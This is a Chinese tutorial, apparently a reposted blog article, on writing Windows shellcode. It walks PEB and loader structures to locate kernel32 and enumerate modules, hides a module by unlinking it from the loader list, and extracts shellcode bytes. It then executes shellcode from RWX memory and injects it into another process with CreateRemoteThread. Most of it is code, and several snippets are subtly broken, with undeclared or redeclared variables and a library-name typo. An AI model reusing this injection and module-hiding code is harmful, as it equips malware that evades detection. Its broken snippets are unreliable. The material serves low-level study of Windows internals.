通用ShellCode的編寫與調用


首先,我們的ShellCode代碼需要自定位,因為我們的代碼並不是一個完整的EXE可執行程序,他沒有導入表無法定位到當前系統中每個函數的虛擬地址,所以我們直接獲取到Kernel32.dll的基地址,里面的GetProcAddr這個函數,獲取的方式有很多,第一種是暴力搜索,第二種通過遍歷進程的TEB結構來實現,我們使用第二種方式嘗試,一旦獲取到該函數,就可以動態的調用任何想要的函數了。

獲取DLL模塊基地址

首先打開WinDbg加載符號鏈接文件,輸入 srv*https://www.blib.cn/symbols

1.首先FS寄存器里面存儲的是TEB結構,TEB是線程環境快,里面的PET。

TEB的偏移位置30h處,存放的是PEB線程環境快。

接着解析一下 dt _peb 0026b000 里面的0C字段是LDR,一個指向_PEB_LDR_DATA的結構數組。

PEB_LDR_DATA 結構體偏移位置為 0x1c 的地方存放着指向模塊初始化鏈表的頭指針 InInitializationOrderModuleList,該指針指向了一個雙向鏈表。

模塊初始化鏈表 InInitializationOrderModuleList 中按順序存放着PE裝入運行時初始化模塊的信息,第一個鏈表節點是 ntdll.dll,第二個鏈表結點就是kernel32.dll可以先看看 InInitializationOrderModuleList 中的內容。

上圖中的 004e3278 保存的是第一個鏈表節點的指針,通過dd 004e3278解析這個結點,可發現如下地址0x773a0000就是ntdll.dll的基地址,而 004e3b20 則是下一個模塊的指針

繼續跟隨 004e3b20 跟進后的76a90000就是kernel32.dll的基地址,而下一個地址的指針則是004e3760以此類推來遍歷。

最后我們通過!peb命令來驗證一下,如下會發現第一個對上了,這里的kerlel32.dll其實是kernelbase.dll 這個dll是轉向dll中轉到kernel32.dll中,64位系統特有的。

通過上方的調試我們可得到公式,接着通過編寫一段匯編代碼來實現自動的遍歷出 kernel32.dl 的基址。

include windows.inc
include kernel32.inc
includelib kerbcli.lib
assume fs:nothing

.code
	main PROC
		xor eax,eax
		xor edx,edx
		mov eax,fs:[30h]           ; 得到PEB結構地址
		mov eax,[eax + 0ch]        ; 得到PEB_LDR_DATA結構地址
		mov esi,[eax + 1ch]        ; 得到 InInitializationOrderModuleList
		lodsd                      ; 得到KERNEL32.DLL所在LDR_MODULE結構的
		mov eax,[eax]              ; Windows 7 以上要將這里打開
		mov edx,[eax + 8h]         ; 得到BaseAddress,既Kernel32.dll基址
		ret
	main ENDP
END main

通過使用C語言也可以實現拿到Kernel32的基地址.

#include <windows.h>
#include <stdio.h>

int main(int argc, char * argv[])
{
	DWORD *PEB = NULL;
	DWORD *Ldr = NULL;
	DWORD *Init = NULL;
	DWORD *Kernel32 = NULL;

	__asm
	{
		mov eax, fs:[0x30]
		mov PEB,eax
	}
	printf("得到PEB指針 = %x \n", PEB);

	Ldr = *(DWORD **)((unsigned char *)PEB + 0x0c);
	printf("得到LDR結構指針 = %x \n", Ldr);

	Init = *(DWORD **)((unsigned char *)Ldr + 0x1c);
	printf("得到InInitializationOrderModuleList結構指針 = %x \n", Init);


	Kernel32 = *(DWORD **)((unsigned char *)Init + 0x08);
	printf("得到Kernel32的基地址 = %x \n", Kernel32);

	system("pause");
	return 0;
}

獲得鏡像基地址: 我們來擴展一個知識點,首先我們這次想要獲得鏡像基地址,如何解析結構?

首先鏡像基地址,在PEB結構中,我們先來獲取到其偏移地址。

此時我們知道TEB結構中 指向 PEB,則 0026b000

接着來解析TEB結構,只需要執行 dt _PEB 0026b000 即可得到該地址。

直接匯編實現,也非常簡單,如下。


枚舉進程模塊

1.我們來拓展一個知識點,通過PEB/TEB找到自身進程的所有載入模塊數據,首先獲取 TEB,也就是線程環境塊。在編程的時候,TEB 始終保存在寄存器 FS 中。

先來得到LDR結構:Ldr = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );

先找到TEB

然后再找到PEB結構 偏移為 0x30 從該命令的輸出可以看出,PEB 結構體的地址位於 TEB 結構體偏移0x30 的位置

找到了PEB也就可以找到_PEB_LDR_DATA結構 其位於 PEB 偏移 0c的位置上。

Ldr = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );

從輸出結果可以看出,LDR 在 PEB 結構體偏移的 0x0C 處,該地址保存的地址是 0x77bf0c40 通過該地址來解析 LDR 結構體。

WinDBG 輸出如下內容:

Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x14 ) );

位於LDR偏移14的位置就是InLoadOrderModuleList其所指向的就是模塊名稱表。

現在來手動遍歷第一條鏈表,輸入命令 0x4e3370

鏈表偏移 0x18 的位置是模塊的映射地址 ImageBase;
鏈表偏移 0x28 的位置是模塊的路徑及名稱的地址;
鏈表偏移 0x30 的位置是模塊名稱的地址。

的確是模塊的名稱,遍歷下一條鏈表的信息,004e3268 保存着下一個鏈表結構,依次遍歷就是了。

我們找到下一個鏈表位置,然后同樣的方法來驗證一下。

沒錯了吧,下一個是 ntdll.dll

這個鏈表結構其實訪問 InMemoryOrderModuleList 也可以得到,這兩個都指向同一片區域 例如第二個 0x4e3378

解析一下看看 0x4e3378 一致。

第二個是ntdll.dll

上面介紹的結構,是微軟保留結構,只能從網上找到一個結構定義,然后自行看着解析就好了。

typedef struct _LDR_DATA_TABLE_ENTRY {
	PVOID Reserved1[2];
	LIST_ENTRY InMemoryOrderLinks;
	PVOID Reserved2[2];
	PVOID DllBase;
	PVOID EntryPoint;
	PVOID Reserved3;
	UNICODE_STRING FullDllName;
	BYTE Reserved4[8];
	PVOID Reserved5[3];
	union {
	ULONG CheckSum;
	PVOID Reserved6;
	};
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));

枚舉模塊的方法就是:得到TEB -> PEB ->LDR ->遍歷。

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
	DWORD *PEB = NULL, *Ldr = NULL, *Flink = NULL, *p = NULL;
	DWORD *BaseAddress = NULL, *FullDllName = NULL,*Ba = NULL;

	__asm
	{
		mov eax, fs:[0x30]
		mov PEB, eax
	}

	Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
	Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));
	p = Flink;

	p = *((DWORD **)p);
	while (Flink != p)
	{
		BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
		FullDllName = *((DWORD **)((unsigned char *)p + 0x20));

	if (BaseAddress == 0)
		break;

	printf("鏡像基址 = %08x \n --> 模塊路徑 = %S \n", BaseAddress, (unsigned char *)FullDllName);

		p = *((DWORD **)p);
	}
	system("pause");
	return 0;
}

上方的 0x10 與 0x20 對應的就是地址結構與路徑名稱。

BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
FullDllName = *((DWORD **)((unsigned char *)p + 0x20));

將0x10改為 0x24

或改為 0x28

換成0x18 和 0x28 運行看看,獲取到的就是文件名稱。

BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
FullDllName = *((DWORD **)((unsigned char *)p + 0x28));

對照解析結果,觀察,就明白了。


進程模塊隱藏

一維指針的騷操作:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{
	DWORD *PEB = (DWORD *)0x401000;
	DWORD *LDR;
	DWORD *BaseAddr = NULL;

	printf("PEB = %x \t &PEB = %x \n", PEB,&PEB);
	LDR = (DWORD *)&PEB;
	printf("PEB = %x \t LDR = %x PEB Value = %x \n", LDR,&LDR,*LDR);
	printf("-------------------------------------------------------------- \n");

	printf("(unsigned char *)PEB = %x \n", (unsigned char *)PEB);
	printf("(unsigned char *)PEB + 0xc) = %x \n", (unsigned char *)PEB + 0xc);
	printf("取出內存中的值: %x \n", (DWORD **)((unsigned char *)PEB + 0xc));
	printf("取出其地址中的值:%x \n", *(DWORD **)((unsigned char *)PEB + 0xc));

	printf("-------------------------------------------------------------- \n");

	DWORD Hmodule = 0x401000;

	// 設置指針指向
	BaseAddr = (DWORD *)0x401000;

	// 設置指針中的數值
	*BaseAddr = 0x1000;

	if (BaseAddr == (DWORD *)Hmodule)
	{
		printf("BaseAddr = %x \t BaseAddr = %d \t Hmodule = %x \n", BaseAddr,*BaseAddr,Hmodule);
	}

	printf("-------------------------------------------------------------- \n");
	int Array[] = {1,2,3,4,5,6,7,8,9};
	DWORD *Flink;
	DWORD *ptr;

	Flink = *(DWORD **)((unsigned char *)Array);
	ptr = Flink;
	printf("%x \n", ptr);

	for (int x = 0; x < 9; x++)
	{
		printf("遍歷元素: %d \n", *(DWORD **)((unsigned char *)Array + ( x*4 )));
	}

	// 反向輸出
	for (int x = 0; x < 9; x++)
	{
		Flink = *(DWORD **)((unsigned char *)Array + (x * 4));
		Link = *(DWORD **)((unsigned char *)Array + ((9 - x - 1) * 4));
		printf("%d --> %d \n", Flink, Link);
	}

	system("pause");
	return 0;
}
#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{
	int Array[] = {1,2,3,4,5,6,7,8,9,10};

	DWORD *PEB = (DWORD *)Array;
	DWORD *Ldr = *((DWORD **)((DWORD *)Array + 1));
	printf("Ldr = > %x Value =  %d \n", &Ldr,Ldr);

	// 基本的取值
	printf("PEB = %x &PEB = %x \n", PEB, &PEB);
	Ldr = (DWORD *)&PEB;
	printf("LDR = %x &LDR = %x *LDR = %x \n", Ldr, &Ldr, *Ldr);
	printf("(unsigned char *)PEB = %x \n", (unsigned char *)PEB);
	printf("(unsigned char *)PEB + 4 = %x \n", (unsigned char *)PEB + 4);
	printf("取出第一個元素內存地址: %x \n", (DWORD **)((unsigned char *)PEB + 4));
	printf("取出其中的值: %d \n", *(DWORD **)((unsigned char *)PEB + 4));

	// 取值與替換值
	DWORD ref = (DWORD)*((unsigned char *)Array + 4);  // 取出第2個值
	*((DWORD *)(Array + 1)) = 10;                      // 替換數組中第二個值
	printf("取出的值: %d 替換后: %d \n", ref, *((DWORD *)(Array + 1)));

	// 正向遍歷元素
	for (int x = 0; x < 10; x++)
	{
		DWORD ref1 = *((DWORD *)((unsigned char *)Array + (x * 4)));
		printf("正向元素輸出: %d \n", ref1);
	}

	// 反向輸出元素
	DWORD *Frist = NULL;
	DWORD *Last = NULL;
	for (int x = 0; x < 10; x++)
	{
		Frist = *(DWORD **)((DWORD *)Array + x);
		Last = (DWORD *)((DWORD *)Array + (9 - x));
		printf("反向輸出: %d --> %d \n", Frist, *Last);
	}

	system("pause");
	return 0;
}

二維指針應用:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{
	DWORD Array[] = { 1, 2, 3, 4, 5 };
	DWORD *ArrayPtr[] = { &Array[0], &Array[1], &Array[2], &Array[3], &Array[4] };
	DWORD *PEB;

	// 這三種方式均可定位二級數組
	PEB = *((DWORD **)((DWORD *)ArrayPtr + 1));
	printf("%x %d \n", PEB,*PEB);

	PEB = *((DWORD **)((DWORD *)(ArrayPtr + 1)));
	printf("%x %d \n", PEB, *PEB);

	PEB = *(DWORD **)((unsigned char *)(ArrayPtr) + (1*4));
	printf("%x %d \n", PEB, *PEB);

	PEB = *(DWORD **)ArrayPtr;
	printf("得到ArrayPtr地址: %x --> 得到Array元素地址: %x --> 得到元素值: %x \n", &PEB,PEB,*PEB);

	// 二級元素賦值操作
	printf("得到第一個指針地址: %x \n", (DWORD)*(DWORD **)ArrayPtr);
	printf("得到第二個指針地址: %x --> 數據: %d \n", (*((DWORD **)ArrayPtr) + 1), *(*((DWORD **)ArrayPtr) + 1));

	printf("原始數據為: %x \n", *ArrayPtr[1]);
	*((DWORD *)(ArrayPtr + 1)) = (DWORD)*(DWORD **)ArrayPtr;
	printf("更改數據為: %x \n", *ArrayPtr[1]);

	printf("原始指針數據為: %x \n", *ArrayPtr[1]);
	**((DWORD **)(ArrayPtr + 1)) = (DWORD)*(DWORD **)ArrayPtr;
	printf("更改指針數據為: %x \n", *ArrayPtr[1]);

	for (int x = 0; x < 5; x++)
	{
		printf("地址: %x --> 數據: %d \n", (*((DWORD **)ArrayPtr) + x), *(*((DWORD **)ArrayPtr) + x));
	}

	system("pause");
	return 0;
}

三層指針遍歷:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{
	DWORD Array[] = { 1, 2, 3, 4, 5 };
	DWORD *ArrayPtr[] = { &Array[0], &Array[1], &Array[2], &Array[3], &Array[4] };
	DWORD *ArrayPtrS[] = { ArrayPtr[0], ArrayPtr[1], ArrayPtr[2], ArrayPtr[3], ArrayPtr[4] };

	// 輸出三級指針中的數據
	DWORD *PtrA = (DWORD *)((DWORD **)((DWORD ***)ArrayPtrS));
	printf("獲取到ArrayPtr[0]地址 = %x \t 獲取到Array[0]地址 = %x \n", PtrA,*PtrA);

	DWORD *PtrB = (DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1)));
	printf("獲取到ArrayPtr[1]地址 = %x \t 獲取到Array[1]地址 = %x \n", PtrB, *PtrB);

	DWORD PtrC = *((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
	printf("獲取到里面的數值: %d \n", *(DWORD *)PtrC);

	// 三級指針
	// 遍歷指針數據
	printf("ArrayPtrS => ");
	for (int x = 0; x < 5; x++)
		printf("0x%x ", &ArrayPtrS[x]);
	printf("\n");
	printf("ArrayPtr => ");
	for (int x = 0; x < 5; x++)
		printf("0x%x ", ArrayPtr[x]);
	printf("\n");

	// 輸出特定指針
	DWORD **PtrAA = *((DWORD ***)(ArrayPtrS)+1);
	printf("ArrayPtr[1] => %x \n", PtrAA);

	DWORD *PtrBB = ((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
	printf("ArrayPtrS => %x \n", PtrBB);

	DWORD Ref = *((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
	printf("%x  \n", Ref);

	DWORD Ref = *(DWORD *) (*((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1)))));
	printf("原始數值 ArrayPtrS[1] = %x \n", Ref);

	system("pause");
	return 0;
}

模塊隱藏方法:

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
	DWORD *PEB = NULL,*Ldr = NULL,*Flink = NULL,*p = NULL,
		*BaseAddress = NULL,*FullDllName = NULL;
	__asm
	{
		mov eax, fs:[0x30]
		mov PEB, eax
	}
	HMODULE hMod = GetModuleHandle("kernel32.dll");
	Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
	Flink = *((DWORD **)((unsigned char *)Ldr + 0x0c));
	p = Flink;
	do
	{
		BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
		FullDllName = *((DWORD **)((unsigned char *)p + 0x28));

		if (BaseAddress == (DWORD *)hMod)
		{
			**((DWORD **)(p + 1)) = (DWORD)*((DWORD **)p);
			*(*((DWORD **)p) + 1) = (DWORD)*((DWORD **)(p + 1));
			break;
		}
		p = *((DWORD **)p);
	} while (Flink != p);
	return 0;
}

循環枚舉Kernel32.dll 中模塊地址

#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{
	int a;
	__asm
	{
		mov ebx, dword ptr fs : [0x30]
			mov ecx, dword ptr[ebx + 0xc]
			mov ecx, dword ptr[ecx + 0x1c]
			mov ecx, [ecx]
			mov edx, [ecx + 0x8]; kernelbase.dll

			mov eax, [edx+0x3c]
			mov ecx, [edx + eax + 0x78]
			add ecx,edx
			mov ebx, [ecx+0x20]
			add ebx,edx
			xor edi,edi
		s1:
			inc edi
			mov esi, [ebx+edi*4]
			add esi,edx

			cmp esi,edx
			je no
			loop s1
		no:
			xor eax,eax
	}
	system("pause");
	return 0;
}

生成shellcode並自動提取:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{

	DWORD Start, End, Len;
	goto GetShellCode;
	__asm
	{
	ShellCodeStart:
		mov ebx, dword ptr fs : [0x30]
			mov ecx, dword ptr[ebx + 0xc]
			mov ecx, dword ptr[ecx + 0x1c]
			mov ecx, [ecx]
			mov edx, [ecx + 0x8]; kernelbase.dll

			mov eax, [edx + 0x3c]
			mov ecx, [edx + eax + 0x78]
			add ecx, edx
			mov ebx, [ecx + 0x20]
			add ebx, edx
			xor edi, edi
		s1 :
		inc edi
			mov esi, [ebx + edi * 4]
			add esi, edx

			cmp esi, edx
			je no
			loop s1
		no :
		xor eax, eax
	ShellCodeEnd:
	}


GetShellCode:
	__asm
	{
		mov Start, offset ShellCodeStart
		mov End, offset ShellCodeEnd
	}

	Len = End - Start;
	unsigned char *newBuffer = new unsigned char[Len + 1024];

	memset(newBuffer, 0, Len + 1024);
	memcpy(newBuffer, (unsigned char *)Start, Len);

	FILE *fp = fopen("c://shellcode.txt", "wb+");

	//fwrite(newBuffer, Len, 1, fp);
	//_fcloseall();

	fwrite("unsigned char Buffer[] = {", 22, 1, fp);
	for (int x = 0; x < Len; x++)
	{
		if (x % 16 == 0)
			fwrite("\r\n", 2, 1, fp);
		fprintf(fp, "0x%02x,", newBuffer[x]);
	}
	fwrite("\n};", 2, 1, fp);
	_fcloseall();

	system("pause");
	return 0;
}

運行后自動生成shellcode.txt文本。

通過上方代碼生成二進制shellcode.bin文件,然后將其動態讀入內存,並執行即可.

#include <stdio.h>
#include <Windows.h>

int main(int argc, char * argv[])
{
	HANDLE fp;
	unsigned char * fBuffer;
	DWORD fSize, dwSize;

	fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NULL,
		OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	fSize = GetFileSize(fp, 0);
	fBuffer = (unsigned char *)VirtualAlloc(NULL, fSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	ReadFile(fp, fBuffer, fSize, &dwSize, 0);
	CloseHandle(fp);

	__asm
	{
		mov eax,fBuffer
		push eax
		ret
		int 3
	}
	return 0;
}

ShellCode注入進程:

#include <stdio.h>
#include <windows.h>

unsigned char ShellCode[] = "shellcode代碼";

BOOL InjectShellCode(int Pid)
{
	HANDLE Handle, remoteThread;
	PVOID remoteBuffer;

	Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

	remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
	remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(Handle);
}


int main(int argc, char *argv[])
{
	InjectShellCode(1024);
	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM